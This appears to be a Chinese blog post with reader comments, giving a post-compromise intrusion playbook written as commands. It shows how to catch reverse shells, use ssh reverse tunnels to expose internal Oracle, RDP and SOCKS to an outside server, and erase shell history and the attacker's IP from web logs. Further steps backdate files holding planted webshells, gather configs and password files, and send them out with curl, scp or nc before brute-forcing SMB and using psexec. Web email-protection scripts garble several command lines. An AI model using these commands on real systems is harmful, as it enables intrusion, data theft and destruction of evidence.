各种环境下的渗透测试

getshell:


找到切入点后,首先是要弹个shell,一般我用back.py

配合nc使用,nc监听端口就不说了。

back.py会自动去掉各种history记录,确保shell断掉的时候不会被记录到bash_history里面

ssh各种姿势


反弹内网端口:

ssh有几个比较重要的参数:

1
2
3
-f: 连接成功后切换到后台,不会占用当前的shell,shell断了也会继续执行,相当于 nohup和&。
-N: 连接后不调用shell,用处后面讲。
-R:把本地网络(可以是本机或者任何内网甚至外网端口)端口反弹到ssh服务器

用法:

首先你要有个外网ip的ssh服务器,如果目标内网限制了访问端口,可以开到常见端口比如80或者443上面,可以直接改设置或者iptables映射一下。你需要有这个服务器的root权限。在sshd_config里面打开端口转发, AllowTcpForwarding yes 还有 Gateway Ports,如果之前没开的话改完需要重启一下sshd。

另外就是因为反弹端口需要让目标机器登录到你的ssh服务器,为了安全起见需要建立一个专门用来端口转发的用户,useradd随便建个用户,设置密码然后到/etc/passwd里面,把最后一个’:’后面的shell位置改成/sbin/nologin或者/bin/false,这样即使对方记录了你的ssh密码也没法对你转发的服务器做什么(比如取证之类)

-N的作用:

因为转发用的用户没有shell,如果没有-N的话会因为得不到shell而自动断开连接,-N可以避免这一点。

开始转发:

1
ssh -fNR 要反弹到的端口:目标本机或者内外ip:要反弹的目标端口 <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="d93164753c56483d614a3e4d713e4d713f516e3c4954993d64793e435daaaab13f45543c53783c4071b0a9">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script> 执行后会问你转发用户名的密码,输入成功后会自动切换到后台

例子1:

本地转发: 目标机器上有个oracle端口在1521,但是只能从内网访问。提权提不上,没装sqlplus等工具,webshell数据库管理各种出错,不过翻到了登录用户名和密码。不过我自己的机器上装了个navicat for oracle⋯⋯ ssh服务器上的端口转发用户名叫forward,服务器ip是123.123.123.123

1
ssh -fNR 11521:127.0.0.1:1521 <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="72141d0005130016324340415c4340415c4340415c434041">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>

注意:之所以开到11521端口是因为<1024的端口需要root权限才能占用,另外注意你反弹到服务器的端口不能被iptables之类的挡住,不然你没法从外网访问(废话么)

反弹成功后,打开navicat,新建个连接,ip输入123.123.123.123,端口输入11521,然后用户名和密码,啪啪啪⋯⋯连上了

例子2:

内网ip转发: 除了能转发localhost,还能转发内网其他ip的端口,甚至在不同网段都行,只要能从内网的已沦陷机器访问到就行。比如内网有个windows服务器,ip 192.168.5.10, 开了3389端口,不过也只能在内网访问⋯⋯

1
ssh -fNR 13389:192.168.5.10:3389 <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="680e071a1f091a0c28595a5b46595a5b46595a5b46595a5b">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>

反弹成功后mstsc连123.123.123.123:13389即可⋯⋯

ssh转发端口是可以多开的,就是要注意转发到你服务器的端口不要重了。

用完之后记得关掉:

1
ps aux|grep ssh

在进程里可以看到ssh的转发命令,把pid kill了就行。另外也可以在ssh服务器端kill,

1
netstat -anp|grep sshd

ssh的时候会记录known_hosts,所以最后擦屁股的时候记得到开ssh的用户名的home文件夹 .ssh里面把known_hosts清掉

ssh反弹socks5方法

如果用ssh自带的socks5服务器的话,需要一个能在本地登录的帐号,可以是nologin的,但是必须要能登录,如果不是root的话,socks端口只能开到>1024的端口。原理是先在本地开socks5,然后把本地socks5服务器的端口弹到远程服务器。

姿势:

1
ssh -fND 127.0.0.1:8080 <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="5e2b2d3b2c1e6f6c69706e706e706f">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>

这样会在本地8080端口开socks5代理,然后反弹

1
ssh -fNR 18080:127.0.0.1:8080 <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="3e58514c495f4c5a7e0f0c0d100f0c0d100f0c0d100f0c0d">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>

这样可以把socks5代理弹到123.123.123.123的18080端口,可以用proxychains和其他支持socks5代理的工具最大限度的窥探内网

Linux下隐藏痕迹


通过其他方式得到shell的话,需要去掉histfile等环境变量:

1
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;

登录ssh后管理员用w查看当前登录用户,所以有必要隐藏,推荐xi4oyu的logtamper

清除日志里指定内容:

日志必须是文本格式,而且你有权限读写⋯⋯

1
awk '!/pattern/' filename > temp && mv temp filename

这个原理说白了就是去掉原文件里的指定内容然后生成新文件,再用新的覆盖旧的,弄完记得用chmod还原原来的属性. 例子:

1
awk '!/123.123.123.123/' /var/log/httpd/access_log > temp && mv temp /var/log/httpd/access_log

去掉所有包含123.123.123.123的日志记录。 可以匹配多个关键词:

1
awk '!/123.123.123.123|111.111.111.111|phpspy.php/' /var/log/httpd/access_log > temp && mv temp /var/log/httpd/access_log

修改文件访问|创建|修改时间:

1
touch -amt 200901231532 文件名

改成2009年1月23号15点32分

批量修改时间:

比如你在一个文件夹改了很多php插了一堆一句话:

1
ls|xargs touch -amt 200901231532

把当前目录所有文件时间都改了

信息搜集:

1
find / ! -path "/usr/share/*" -regex ".*.sh$|.*.pl$|.*.py$|.*.conf$|.*.cnf$|.*.ini$|.*\/..*history$|.*\/..*pass.*$|.*secret$" -print|zip pack.zip -@

打包各种脚本和配置文件还有history日志。 有的环境下zip需要一些参数才能用,请自行修改

在/var/www搜集全部 conf.php然后打包

1
find /var/www -name '*conf*.php' -print | zip config.zip -@

找包含特定内容的文件并且那一行显示出来:

1
grep -RPa --include=*.php ’($PATTERNS)‘ $SEARCH_DIR

比如在web目录找包含password这个词的所有php

1
grep -RPa --include=*.php 'password' /var/www

pattern可以用正则,可以不指定文件类型(很慢⋯⋯)

文件传送:


找到需要的东西后,怎么往外发也是个问题,一般大文件用ftp,scp,小文件用nc。

ftp方法:

如果目标装了curl的话就很简单了

1
curl -v -T 文件名 ftp://username:<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="ff8f9e8c8c88908d9bbf998b8f968f">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>

scp方法:

适合有ids之类东西的地方,可以把sshd开到443等传统加密流量的接口,scp帐号需要有写入和执行shell的权限

1
scp backup.tgz <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="077274627547363534293635342936353429363534">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>:/tmp/backup.tgz

nc方法:

先在服务端监听

1
nc -l port > 文件名

然后到要发送文件的服务器

1
nc 服务端ip 端口 < 文件名

发送小文件还行,大文件有时候会断。

从linux到windows


有些时候你拿了linux服务器的shell,想跨到windows的机器上,基本就是通过两个手段,一个是针对windows的服务进行exploit溢出,还有就是利用在linux上搜集的用户名和密码然后通过psexec放shell。

首先要确定windows主机的位置和打开的服务,在内网扫开445和3389的机器,基本是windows了,扫的时候要注意,不管用什么工具,尽量用socket connect的方式扫。像SYN 方式扫描如果内网有ids之类肯定会被发现,connect方式扫描相对来说和正常连接差不多。 扫到windows机器列表后,准备好刚才在linux下收集的各种用户名和密码,还有一些常见的弱密码,生成密码字典和用户名字典,字典里再加上一些windows本身的用户名,比如administrator。 尝试密码的话直接在linux下用hydra,破解smb密码,运气好的话,只要扫出一个,就能用psexec getshell了。运气不好就剩下溢出这一条路了。如果溢出都不行,windows主机和linux在同一个网段的话,还可以试试通过arp spoof抓smb认证包,然后把hash弄出来破解或者注入hash,但是动静会比较大,不到最后不建议使用。

psexec:

有几种选择,metasploit里面auxiliary里面的psexec模块,可以直接放个msf的reverse paylaod上去。另外可以把windows的服务器的445端口反弹出来,再找个windows的机器用psexec。还有就是直接在内网的linux机器上用python的psexec,https://code.google.com/p/impacket/

Comment

评论:忙活了半天,发现已经实现了。。啊啊啊啊啊啊啊

评论:这个真不错!

评论:不就是几个ssh端口转发和一些命令罗列么。。为什么名字叫各种环境下的渗透测试。。这个标题我给-1分,少一分怕下面的人认真

评论:sed -i “s/原字符串/新字符串/g” `grep 原字符串 -rl 所在目录`
例如:我要把mahuinan替换为huinanma,执行命令:sed -i “s/mahuinan/huinanma/g” ‘grep mahuinan -rl /www’
这是目前linux最简单的批量替换字符串命令了!

评论:学习了

评论:为毛不能收藏

评论:专业擦屁股

评论:Mark 收藏了

评论:题目敢不敢再细分点?

评论:辛苦了

评论:抢个坐位慢慢看

评论:其实linux到windows还有很多其他方法,比如常见的mssql扫sa密码,还有运行在windows服务器上面web应用的漏洞等等

发表评论

电子邮件地址不会被公开。 必填项已用*标注

*